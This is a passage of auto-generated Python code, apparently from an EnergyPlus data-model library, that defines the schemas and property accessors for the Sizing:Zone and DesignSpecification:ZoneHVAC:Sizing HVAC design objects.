Cooling Sizing Factor', 'pyname': u'zone_cooling_sizing_factor', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real'}), (u'cooling design air flow method', {'name': u'Cooling Design Air Flow Method', 'pyname': u'cooling_design_air_flow_method', 'default': u'DesignDay', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Flow/Zone', u'DesignDay', u'DesignDayWithLimit'], 'autocalculatable': False, 'type': 'alpha'}), (u'cooling design air flow rate', {'name': u'Cooling Design Air Flow Rate', 'pyname': u'cooling_design_air_flow_rate', 'default': 0.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s'}), (u'cooling minimum air flow per zone floor area', {'name': u'Cooling Minimum Air Flow per Zone Floor Area', 'pyname': u'cooling_minimum_air_flow_per_zone_floor_area', 'default': 0.000762, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s-m2'}), (u'cooling minimum air flow', {'name': u'Cooling Minimum Air Flow', 'pyname': u'cooling_minimum_air_flow', 'default': 0.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s'}), (u'cooling minimum air flow fraction', {'name': u'Cooling Minimum Air Flow Fraction', 'pyname': u'cooling_minimum_air_flow_fraction', 'default': 0.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'heating design air flow method', {'name': u'Heating Design Air Flow Method', 'pyname': u'heating_design_air_flow_method', 'default': u'DesignDay', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Flow/Zone', u'DesignDay', u'DesignDayWithLimit'], 'autocalculatable': False, 'type': 'alpha'}), (u'heating design air flow rate', {'name': u'Heating Design Air Flow Rate', 'pyname': u'heating_design_air_flow_rate', 'default': 0.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s'}), (u'heating maximum air flow per zone floor area', {'name': u'Heating Maximum Air Flow per Zone Floor Area', 'pyname': u'heating_maximum_air_flow_per_zone_floor_area', 'default': 0.002032, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s-m2'}), (u'heating maximum air flow', {'name': u'Heating Maximum Air Flow', 'pyname': u'heating_maximum_air_flow', 'default': 0.1415762, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s'}), (u'heating maximum air flow fraction', {'name': u'Heating Maximum Air Flow Fraction', 'pyname': u'heating_maximum_air_flow_fraction', 'default': 0.3, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'design specification zone air distribution object name', {'name': u'Design Specification Zone Air Distribution Object Name', 'pyname': u'design_specification_zone_air_distribution_object_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'account for dedicated outdoor air system', {'name': u'Account for Dedicated Outdoor Air System', 'pyname': u'account_for_dedicated_outdoor_air_system', 'default': u'No', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Yes', u'No'], 'autocalculatable': False, 'type': 'alpha'}), (u'dedicated outdoor air system control strategy', {'name': u'Dedicated Outdoor Air System Control Strategy', 'pyname': u'dedicated_outdoor_air_system_control_strategy', 'default': u'NeutralSupplyAir', 'required-field': False, 'autosizable': False, 'accepted-values': [u'NeutralSupplyAir', u'NeutralDehumidifiedSupplyAir', u'ColdSupplyAir'], 'autocalculatable': False, 'type': 'alpha'}), (u'dedicated outdoor air low setpoint temperature for design', {'name': u'Dedicated Outdoor Air Low Setpoint Temperature for Design', 'pyname': u'dedicated_outdoor_air_low_setpoint_temperature_for_design', 'default': 'autosize', 'required-field': False, 'autosizable': True, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'dedicated outdoor air high setpoint temperature for design', {'name': u'Dedicated Outdoor Air High Setpoint Temperature for Design', 'pyname': u'dedicated_outdoor_air_high_setpoint_temperature_for_design', 'default': 'autosize', 'required-field': False, 'autosizable': True, 'autocalculatable': False, 'type': u'real', 'unit': u'C'})]), 'format': None, 'group': u'HVAC Design Objects', 'min-fields': 18, 'name': u'Sizing:Zone', 'pyname': u'SizingZone', 'required-object': False, 'unique-object': False} @property def zone_or_zonelist_name(self): """field `Zone or ZoneList Name` Args: value (str): value for IDD Field `Zone or ZoneList Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `zone_or_zonelist_name` or None if not set """ return self["Zone or ZoneList Name"] @zone_or_zonelist_name.setter def zone_or_zonelist_name(self, value=None): """Corresponds to IDD field `Zone or ZoneList Name`""" self["Zone or ZoneList Name"] = value @property def zone_cooling_design_supply_air_temperature_input_method(self): """field `Zone Cooling Design Supply Air Temperature Input Method` | Default value: SupplyAirTemperature Args: value (str): value for IDD Field `Zone Cooling Design Supply Air Temperature Input Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `zone_cooling_design_supply_air_temperature_input_method` or None if not set """ return self["Zone Cooling Design Supply Air Temperature Input Method"] @zone_cooling_design_supply_air_temperature_input_method.setter def zone_cooling_design_supply_air_temperature_input_method( self, value="SupplyAirTemperature"): """Corresponds to IDD field `Zone Cooling Design Supply Air Temperature Input Method`""" self["Zone Cooling Design Supply Air Temperature Input Method"] = value @property def zone_cooling_design_supply_air_temperature(self): """field `Zone Cooling Design Supply Air Temperature` | Zone Cooling Design Supply Air Temperature is only used when Zone Cooling Design | Supply Air Temperature Input Method = SupplyAirTemperature | Units: C Args: value (float): value for IDD Field `Zone Cooling Design Supply Air Temperature` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `zone_cooling_design_supply_air_temperature` or None if not set """ return self["Zone Cooling Design Supply Air Temperature"] @zone_cooling_design_supply_air_temperature.setter def zone_cooling_design_supply_air_temperature(self, value=None): """Corresponds to IDD field `Zone Cooling Design Supply Air Temperature`""" self["Zone Cooling Design Supply Air Temperature"] = value @property def zone_cooling_design_supply_air_temperature_difference(self): """field `Zone Cooling Design Supply Air Temperature Difference` | Zone Cooling Design Supply Air Temperature is only used when Zone Cooling Design | Supply Air Temperature Input Method = TemperatureDifference | The absolute value of this field will be subtracted from the zone temperature | at peak load to calculate the Zone Cooling Design Supply Air Temperature. | Units: deltaC Args: value (float): value for IDD Field `Zone Cooling Design Supply Air Temperature Difference` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `zone_cooling_design_supply_air_temperature_difference` or None if not set """ return self["Zone Cooling Design Supply Air Temperature Difference"] @zone_cooling_design_supply_air_temperature_difference.setter def zone_cooling_design_supply_air_temperature_difference( self, value=None): """Corresponds to IDD field `Zone Cooling Design Supply Air Temperature Difference`""" self["Zone Cooling Design Supply Air Temperature Difference"] = value @property def zone_heating_design_supply_air_temperature_input_method(self): """field `Zone Heating Design Supply Air Temperature Input Method` | Default value: SupplyAirTemperature Args: value (str): value for IDD Field `Zone Heating Design Supply Air Temperature Input Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `zone_heating_design_supply_air_temperature_input_method` or None if not set """ return self["Zone Heating Design Supply Air Temperature Input Method"] @zone_heating_design_supply_air_temperature_input_method.setter def zone_heating_design_supply_air_temperature_input_method( self, value="SupplyAirTemperature"): """Corresponds to IDD field `Zone Heating Design Supply Air Temperature Input Method`""" self["Zone Heating Design Supply Air Temperature Input Method"] = value @property def zone_heating_design_supply_air_temperature(self): """field `Zone Heating Design Supply Air Temperature` | Zone Heating Design Supply Air Temperature is only used when Zone Heating Design | Supply Air Temperature Input Method = SupplyAirTemperature | Units: C Args: value (float): value for IDD Field `Zone Heating Design Supply Air Temperature` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `zone_heating_design_supply_air_temperature` or None if not set """ return self["Zone Heating Design Supply Air Temperature"] @zone_heating_design_supply_air_temperature.setter def zone_heating_design_supply_air_temperature(self, value=None): """Corresponds to IDD field `Zone Heating Design Supply Air Temperature`""" self["Zone Heating Design Supply Air Temperature"] = value @property def zone_heating_design_supply_air_temperature_difference(self): """field `Zone Heating Design Supply Air Temperature Difference` | Zone Heating Design Supply Air Temperature is only used when Zone Heating Design | Supply Air Temperature Input Method = TemperatureDifference | The absolute value of this field will be added to the zone temperature | at peak load to calculate the Zone Heating Design Supply Air Temperature. | Units: deltaC Args: value (float): value for IDD Field `Zone Heating Design Supply Air Temperature Difference` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `zone_heating_design_supply_air_temperature_difference` or None if not set """ return self["Zone Heating Design Supply Air Temperature Difference"] @zone_heating_design_supply_air_temperature_difference.setter def zone_heating_design_supply_air_temperature_difference( self, value=None): """Corresponds to IDD field `Zone Heating Design Supply Air Temperature Difference`""" self["Zone Heating Design Supply Air Temperature Difference"] = value @property def zone_cooling_design_supply_air_humidity_ratio(self): """field `Zone Cooling Design Supply Air Humidity Ratio` | Units: kgWater/kgDryAir Args: value (float): value for IDD Field `Zone Cooling Design Supply Air Humidity Ratio` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `zone_cooling_design_supply_air_humidity_ratio` or None if not set """ return self["Zone Cooling Design Supply Air Humidity Ratio"] @zone_cooling_design_supply_air_humidity_ratio.setter def zone_cooling_design_supply_air_humidity_ratio(self, value=None): """Corresponds to IDD field `Zone Cooling Design Supply Air Humidity Ratio`""" self["Zone Cooling Design Supply Air Humidity Ratio"] = value @property def zone_heating_design_supply_air_humidity_ratio(self): """field `Zone Heating Design Supply Air Humidity Ratio` | Units: kgWater/kgDryAir Args: value (float): value for IDD Field `Zone Heating Design Supply Air Humidity Ratio` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `zone_heating_design_supply_air_humidity_ratio` or None if not set """ return self["Zone Heating Design Supply Air Humidity Ratio"] @zone_heating_design_supply_air_humidity_ratio.setter def zone_heating_design_supply_air_humidity_ratio(self, value=None): """Corresponds to IDD field `Zone Heating Design Supply Air Humidity Ratio`""" self["Zone Heating Design Supply Air Humidity Ratio"] = value @property def design_specification_outdoor_air_object_name(self): """field `Design Specification Outdoor Air Object Name` Args: value (str): value for IDD Field `Design Specification Outdoor Air Object Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `design_specification_outdoor_air_object_name` or None if not set """ return self["Design Specification Outdoor Air Object Name"] @design_specification_outdoor_air_object_name.setter def design_specification_outdoor_air_object_name(self, value=None): """Corresponds to IDD field `Design Specification Outdoor Air Object Name`""" self["Design Specification Outdoor Air Object Name"] = value @property def zone_heating_sizing_factor(self): """field `Zone Heating Sizing Factor` | if blank or zero, global heating sizing factor from Sizing:Parameters is used. Args: value (float): value for IDD Field `Zone Heating Sizing Factor` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `zone_heating_sizing_factor` or None if not set """ return self["Zone Heating Sizing Factor"] @zone_heating_sizing_factor.setter def zone_heating_sizing_factor(self, value=None): """Corresponds to IDD field `Zone Heating Sizing Factor`""" self["Zone Heating Sizing Factor"] = value @property def zone_cooling_sizing_factor(self): """field `Zone Cooling Sizing Factor` | if blank or zero, global cooling sizing factor from Sizing:Parameters is used. Args: value (float): value for IDD Field `Zone Cooling Sizing Factor` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `zone_cooling_sizing_factor` or None if not set """ return self["Zone Cooling Sizing Factor"] @zone_cooling_sizing_factor.setter def zone_cooling_sizing_factor(self, value=None): """Corresponds to IDD field `Zone Cooling Sizing Factor`""" self["Zone Cooling Sizing Factor"] = value @property def cooling_design_air_flow_method(self): """field `Cooling Design Air Flow Method` | Default value: DesignDay Args: value (str): value for IDD Field `Cooling Design Air Flow Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `cooling_design_air_flow_method` or None if not set """ return self["Cooling Design Air Flow Method"] @cooling_design_air_flow_method.setter def cooling_design_air_flow_method(self, value="DesignDay"): """Corresponds to IDD field `Cooling Design Air Flow Method`""" self["Cooling Design Air Flow Method"] = value @property def cooling_design_air_flow_rate(self): """field `Cooling Design Air Flow Rate` | This input is used if Cooling Design Air Flow Method is Flow/Zone | This value will be multiplied by the global or zone sizing factor and | by zone multipliers. | Units: m3/s Args: value (float): value for IDD Field `Cooling Design Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cooling_design_air_flow_rate` or None if not set """ return self["Cooling Design Air Flow Rate"] @cooling_design_air_flow_rate.setter def cooling_design_air_flow_rate(self, value=None): """Corresponds to IDD field `Cooling Design Air Flow Rate`""" self["Cooling Design Air Flow Rate"] = value @property def cooling_minimum_air_flow_per_zone_floor_area(self): """field `Cooling Minimum Air Flow per Zone Floor Area` | default is .15 cfm/ft2 | This input is used if Cooling Design Air Flow Method is DesignDayWithLimit | Units: m3/s-m2 | Default value: 0.000762 Args: value (float): value for IDD Field `Cooling Minimum Air Flow per Zone Floor Area` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cooling_minimum_air_flow_per_zone_floor_area` or None if not set """ return self["Cooling Minimum Air Flow per Zone Floor Area"] @cooling_minimum_air_flow_per_zone_floor_area.setter def cooling_minimum_air_flow_per_zone_floor_area(self, value=0.000762): """Corresponds to IDD field `Cooling Minimum Air Flow per Zone Floor Area`""" self["Cooling Minimum Air Flow per Zone Floor Area"] = value @property def cooling_minimum_air_flow(self): """field `Cooling Minimum Air Flow` | This input is used if Cooling Design Air Flow Method is DesignDayWithLimit | Units: m3/s Args: value (float): value for IDD Field `Cooling Minimum Air Flow` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cooling_minimum_air_flow` or None if not set """ return self["Cooling Minimum Air Flow"] @cooling_minimum_air_flow.setter def cooling_minimum_air_flow(self, value=None): """Corresponds to IDD field `Cooling Minimum Air Flow`""" self["Cooling Minimum Air Flow"] = value @property def cooling_minimum_air_flow_fraction(self): """field `Cooling Minimum Air Flow Fraction` | fraction of the Cooling design Air Flow Rate | This input is currently used in sizing the Fan minimum Flow Rate. | It does not currently affect other component autosizing. Args: value (float): value for IDD Field `Cooling Minimum Air Flow Fraction` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cooling_minimum_air_flow_fraction` or None if not set """ return self["Cooling Minimum Air Flow Fraction"] @cooling_minimum_air_flow_fraction.setter def cooling_minimum_air_flow_fraction(self, value=None): """Corresponds to IDD field `Cooling Minimum Air Flow Fraction`""" self["Cooling Minimum Air Flow Fraction"] = value @property def heating_design_air_flow_method(self): """field `Heating Design Air Flow Method` | Default value: DesignDay Args: value (str): value for IDD Field `Heating Design Air Flow Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `heating_design_air_flow_method` or None if not set """ return self["Heating Design Air Flow Method"] @heating_design_air_flow_method.setter def heating_design_air_flow_method(self, value="DesignDay"): """Corresponds to IDD field `Heating Design Air Flow Method`""" self["Heating Design Air Flow Method"] = value @property def heating_design_air_flow_rate(self): """field `Heating Design Air Flow Rate` | This input is used if Heating Design Air Flow Method is Flow/Zone. | This value will be multiplied by the global or zone sizing factor and | by zone multipliers. | Units: m3/s Args: value (float): value for IDD Field `Heating Design Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_design_air_flow_rate` or None if not set """ return self["Heating Design Air Flow Rate"] @heating_design_air_flow_rate.setter def heating_design_air_flow_rate(self, value=None): """Corresponds to IDD field `Heating Design Air Flow Rate`""" self["Heating Design Air Flow Rate"] = value @property def heating_maximum_air_flow_per_zone_floor_area(self): """field `Heating Maximum Air Flow per Zone Floor Area` | default is .40 cfm/ft2 | This field is used to size the heating design flow rate when Heating Design Air Flow Method = Flow/Zone. | This input is used for autosizing components when Heating Design Air Flow Method = DesignDayWithLimit. | Units: m3/s-m2 | Default value: 0.002032 Args: value (float): value for IDD Field `Heating Maximum Air Flow per Zone Floor Area` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_maximum_air_flow_per_zone_floor_area` or None if not set """ return self["Heating Maximum Air Flow per Zone Floor Area"] @heating_maximum_air_flow_per_zone_floor_area.setter def heating_maximum_air_flow_per_zone_floor_area(self, value=0.002032): """Corresponds to IDD field `Heating Maximum Air Flow per Zone Floor Area`""" self["Heating Maximum Air Flow per Zone Floor Area"] = value @property def heating_maximum_air_flow(self): """field `Heating Maximum Air Flow` | default is 300 cfm | This input is used for autosizing components when Heating Design Air Flow Method = DesignDayWithLimit. | Units: m3/s | Default value: 0.1415762 Args: value (float): value for IDD Field `Heating Maximum Air Flow` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_maximum_air_flow` or None if not set """ return self["Heating Maximum Air Flow"] @heating_maximum_air_flow.setter def heating_maximum_air_flow(self, value=0.1415762): """Corresponds to IDD field `Heating Maximum Air Flow`""" self["Heating Maximum Air Flow"] = value @property def heating_maximum_air_flow_fraction(self): """field `Heating Maximum Air Flow Fraction` | fraction of the Heating Design Air Flow Rate | This input is used for autosizing components when Heating Design Air Flow Method = DesignDayWithLimit. | Default value: 0.3 Args: value (float): value for IDD Field `Heating Maximum Air Flow Fraction` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_maximum_air_flow_fraction` or None if not set """ return self["Heating Maximum Air Flow Fraction"] @heating_maximum_air_flow_fraction.setter def heating_maximum_air_flow_fraction(self, value=0.3): """Corresponds to IDD field `Heating Maximum Air Flow Fraction`""" self["Heating Maximum Air Flow Fraction"] = value @property def design_specification_zone_air_distribution_object_name(self): """field `Design Specification Zone Air Distribution Object Name` Args: value (str): value for IDD Field `Design Specification Zone Air Distribution Object Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `design_specification_zone_air_distribution_object_name` or None if not set """ return self["Design Specification Zone Air Distribution Object Name"] @design_specification_zone_air_distribution_object_name.setter def design_specification_zone_air_distribution_object_name( self, value=None): """Corresponds to IDD field `Design Specification Zone Air Distribution Object Name`""" self["Design Specification Zone Air Distribution Object Name"] = value @property def account_for_dedicated_outdoor_air_system(self): """field `Account for Dedicated Outdoor Air System` | account for effect of dedicated outdoor air system supplying air directly to the zone | Default value: No Args: value (str): value for IDD Field `Account for Dedicated Outdoor Air System` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `account_for_dedicated_outdoor_air_system` or None if not set """ return self["Account for Dedicated Outdoor Air System"] @account_for_dedicated_outdoor_air_system.setter def account_for_dedicated_outdoor_air_system(self, value="No"): """Corresponds to IDD field `Account for Dedicated Outdoor Air System`""" self["Account for Dedicated Outdoor Air System"] = value @property def dedicated_outdoor_air_system_control_strategy(self): """field `Dedicated Outdoor Air System Control Strategy` | 1)supply neutral ventilation air; 2)supply neutral dehumidified and reheated | ventilation air; 3)supply cold ventilation air | Default value: NeutralSupplyAir Args: value (str): value for IDD Field `Dedicated Outdoor Air System Control Strategy` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `dedicated_outdoor_air_system_control_strategy` or None if not set """ return self["Dedicated Outdoor Air System Control Strategy"] @dedicated_outdoor_air_system_control_strategy.setter def dedicated_outdoor_air_system_control_strategy( self, value="NeutralSupplyAir"): """Corresponds to IDD field `Dedicated Outdoor Air System Control Strategy`""" self["Dedicated Outdoor Air System Control Strategy"] = value @property def dedicated_outdoor_air_low_setpoint_temperature_for_design(self): """field `Dedicated Outdoor Air Low Setpoint Temperature for Design` | Units: C | Default value: "autosize" Args: value (float or "Autosize"): value for IDD Field `Dedicated Outdoor Air Low Setpoint Temperature for Design` Raises: ValueError: if `value` is not a valid value Returns: float or "Autosize": the value of `dedicated_outdoor_air_low_setpoint_temperature_for_design` or None if not set """ return self[ "Dedicated Outdoor Air Low Setpoint Temperature for Design"] @dedicated_outdoor_air_low_setpoint_temperature_for_design.setter def dedicated_outdoor_air_low_setpoint_temperature_for_design( self, value="autosize"): """Corresponds to IDD field `Dedicated Outdoor Air Low Setpoint Temperature for Design`""" self[ "Dedicated Outdoor Air Low Setpoint Temperature for Design"] = value @property def dedicated_outdoor_air_high_setpoint_temperature_for_design(self): """field `Dedicated Outdoor Air High Setpoint Temperature for Design` | Units: C | Default value: "autosize" Args: value (float or "Autosize"): value for IDD Field `Dedicated Outdoor Air High Setpoint Temperature for Design` Raises: ValueError: if `value` is not a valid value Returns: float or "Autosize": the value of `dedicated_outdoor_air_high_setpoint_temperature_for_design` or None if not set """ return self[ "Dedicated Outdoor Air High Setpoint Temperature for Design"] @dedicated_outdoor_air_high_setpoint_temperature_for_design.setter def dedicated_outdoor_air_high_setpoint_temperature_for_design( self, value="autosize"): """Corresponds to IDD field `Dedicated Outdoor Air High Setpoint Temperature for Design`""" self[ "Dedicated Outdoor Air High Setpoint Temperature for Design"] = value class DesignSpecificationZoneHvacSizing(DataObject): """ Corresponds to IDD object `DesignSpecification:ZoneHVAC:Sizing` This object is used to describe general scalable zone HVAC equipment sizing which are referenced by other objects. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'cooling supply air flow rate method', {'name': u'Cooling Supply Air Flow Rate Method', 'pyname': u'cooling_supply_air_flow_rate_method', 'default': u'SupplyAirFlowRate', 'required-field': False, 'autosizable': False, 'accepted-values': [u'None', u'SupplyAirFlowRate', u'FlowPerFloorArea', u'FractionOfAutosizedCoolingAirflow', u'FlowPerCoolingCapacity'], 'autocalculatable': False, 'type': 'alpha'}), (u'cooling supply air flow rate', {'name': u'Cooling Supply Air Flow Rate', 'pyname': u'cooling_supply_air_flow_rate', 'required-field': False, 'autosizable': True, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s'}), (u'cooling supply air flow rate per floor area', {'name': u'Cooling Supply Air Flow Rate Per Floor Area', 'pyname': u'cooling_supply_air_flow_rate_per_floor_area', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s-m2'}), (u'cooling fraction of autosized cooling supply air flow rate', {'name': u'Cooling Fraction of Autosized Cooling Supply Air Flow Rate', 'pyname': u'cooling_fraction_of_autosized_cooling_supply_air_flow_rate', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'cooling supply air flow rate per unit cooling capacity', {'name': u'Cooling Supply Air Flow Rate Per Unit Cooling Capacity', 'pyname': u'cooling_supply_air_flow_rate_per_unit_cooling_capacity', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s-W'}), (u'no load supply air flow rate method', {'name': u'No Load Supply Air Flow Rate Method', 'pyname': u'no_load_supply_air_flow_rate_method', 'default': u'SupplyAirFlowRate', 'required-field': False, 'autosizable': False, 'accepted-values': [u'None', u'SupplyAirFlowRate', u'FlowPerFloorArea', u'FractionOfAutosizedCoolingAirflow', u'FractionOfAutosizedHeatingAirflow'], 'autocalculatable': False, 'type': 'alpha'}), (u'no load supply air flow rate', {'name': u'No Load Supply Air Flow Rate', 'pyname': u'no_load_supply_air_flow_rate', 'required-field': False, 'autosizable': True, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s'}), (u'no load supply air flow rate per floor area', {'name': u'No Load Supply Air Flow Rate Per Floor Area', 'pyname': u'no_load_supply_air_flow_rate_per_floor_area', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s-m2'}), (u'no load fraction of cooling supply air flow rate', {'name': u'No Load Fraction of Cooling Supply Air Flow Rate', 'pyname': u'no_load_fraction_of_cooling_supply_air_flow_rate', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'no load fraction of heating supply air flow rate', {'name': u'No Load Fraction of Heating Supply Air Flow Rate', 'pyname': u'no_load_fraction_of_heating_supply_air_flow_rate', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'heating supply air flow rate method', {'name': u'Heating Supply Air Flow Rate Method', 'pyname': u'heating_supply_air_flow_rate_method', 'default': u'SupplyAirFlowRate', 'required-field': False, 'autosizable': False, 'accepted-values': [u'None', u'SupplyAirFlowRate', u'FlowPerFloorArea', u'FractionOfAutosizedHeatingAirflow', u'FlowPerHeatingCapacity'], 'autocalculatable': False, 'type': 'alpha'}), (u'heating supply air flow rate', {'name': u'Heating Supply Air Flow Rate', 'pyname': u'heating_supply_air_flow_rate', 'required-field': False, 'autosizable': True, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s'}), (u'heating supply air flow rate per floor area', {'name': u'Heating Supply Air Flow Rate Per Floor Area', 'pyname': u'heating_supply_air_flow_rate_per_floor_area', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s-m2'}), (u'heating fraction of heating supply air flow rate', {'name': u'Heating Fraction of Heating Supply Air Flow Rate', 'pyname': u'heating_fraction_of_heating_supply_air_flow_rate', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'heating supply air flow rate per unit heating capacity', {'name': u'Heating Supply Air Flow Rate Per Unit Heating Capacity', 'pyname': u'heating_supply_air_flow_rate_per_unit_heating_capacity', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s-W'}), (u'cooling design capacity method', {'name': u'Cooling Design Capacity Method', 'pyname': u'cooling_design_capacity_method', 'default': u'None', 'required-field': False, 'autosizable': False, 'accepted-values': [u'None', u'CoolingDesignCapacity', u'CapacityPerFloorArea', u'FractionOfAutosizedCoolingCapacity'], 'autocalculatable': False, 'type': 'alpha'}), (u'cooling design capacity', {'name': u'Cooling Design Capacity', 'pyname': u'cooling_design_capacity', 'required-field': False, 'autosizable': True, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'W'}), (u'cooling design capacity per floor area', {'name': u'Cooling Design Capacity Per Floor Area', 'pyname': u'cooling_design_capacity_per_floor_area', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m2'}), (u'fraction of autosized cooling design capacity', {'name': u'Fraction of Autosized Cooling Design Capacity', 'pyname': u'fraction_of_autosized_cooling_design_capacity', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'heating design capacity method', {'name': u'Heating Design Capacity Method', 'pyname': u'heating_design_capacity_method', 'default': u'None', 'required-field': False, 'autosizable': False, 'accepted-values': [u'None', u'HeatingDesignCapacity', u'CapacityPerFloorArea', u'FractionOfAutosizedHeatingCapacity'], 'autocalculatable': False, 'type': 'alpha'}), (u'heating design capacity', {'name': u'Heating Design Capacity', 'pyname': u'heating_design_capacity', 'required-field': False, 'autosizable': True, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'W'}), (u'heating design capacity per floor area', {'name': u'Heating Design Capacity Per Floor Area', 'pyname': u'heating_design_capacity_per_floor_area', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m2'}), (u'fraction of autosized heating design capacity', {'name': u'Fraction of Autosized Heating Design Capacity', 'pyname': u'fraction_of_autosized_heating_design_capacity', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'})]), 'format': None, 'group': u'HVAC Design Objects', 'min-fields': 1, 'name': u'DesignSpecification:ZoneHVAC:Sizing', 'pyname': u'DesignSpecificationZoneHvacSizing', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def cooling_supply_air_flow_rate_method(self): """field `Cooling Supply Air Flow Rate Method` | Enter the method used to determine the cooling supply air volume flow rate. | None is used when a cooling coil is not included in the Zone HVAC Equip or this field | may be blank. SupplyAirFlowRate => selected when the magnitude of the supply air volume | flow rate is specified. FlowPerFloorArea => selected when the supply air volume flow rate | is determined from total floor area served by the Zone HVAC unit and Flow Per Floor Area | value specified. FractionOfAutosizedCoolingAirflow => is selected when the supply air volume | is determined from a user specified fraction and the autosized cooling supply air flow rate | value determined by the simulation. FlowPerCoolingCapacity => is selected when the supply | air volume is determined from user specified flow per Cooling Capacity and Cooling Capacity | determined by the simulation. | Default value: SupplyAirFlowRate Args: value (str): value for IDD Field `Cooling Supply Air Flow Rate Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `cooling_supply_air_flow_rate_method` or None if not set """ return self["Cooling Supply Air Flow Rate Method"] @cooling_supply_air_flow_rate_method.setter def cooling_supply_air_flow_rate_method(self, value="SupplyAirFlowRate"): """Corresponds to IDD field `Cooling Supply Air Flow Rate Method`""" self["Cooling Supply Air Flow Rate Method"] = value @property def cooling_supply_air_flow_rate(self): """field `Cooling Supply Air Flow Rate` | Enter the magnitude of supply air volume flow rate during cooling operation. | Required field when Cooling Supply Air Flow Rate Method is SupplyAirFlowRate. | This field may be blank if a cooling coil is not included in the Zone HVAC equipment. | Units: m3/s Args: value (float or "Autosize"): value for IDD Field `Cooling Supply Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float or "Autosize": the value of `cooling_supply_air_flow_rate` or None if not set """ return self["Cooling Supply Air Flow Rate"] @cooling_supply_air_flow_rate.setter def cooling_supply_air_flow_rate(self, value=None): """Corresponds to IDD field `Cooling Supply Air Flow Rate`""" self["Cooling Supply Air Flow Rate"] = value @property def cooling_supply_air_flow_rate_per_floor_area(self): """field `Cooling Supply Air Flow Rate Per Floor Area` | Enter the cooling supply air volume flow rate per total conditioned floor area. | Required field when Cooling Supply Air Flow 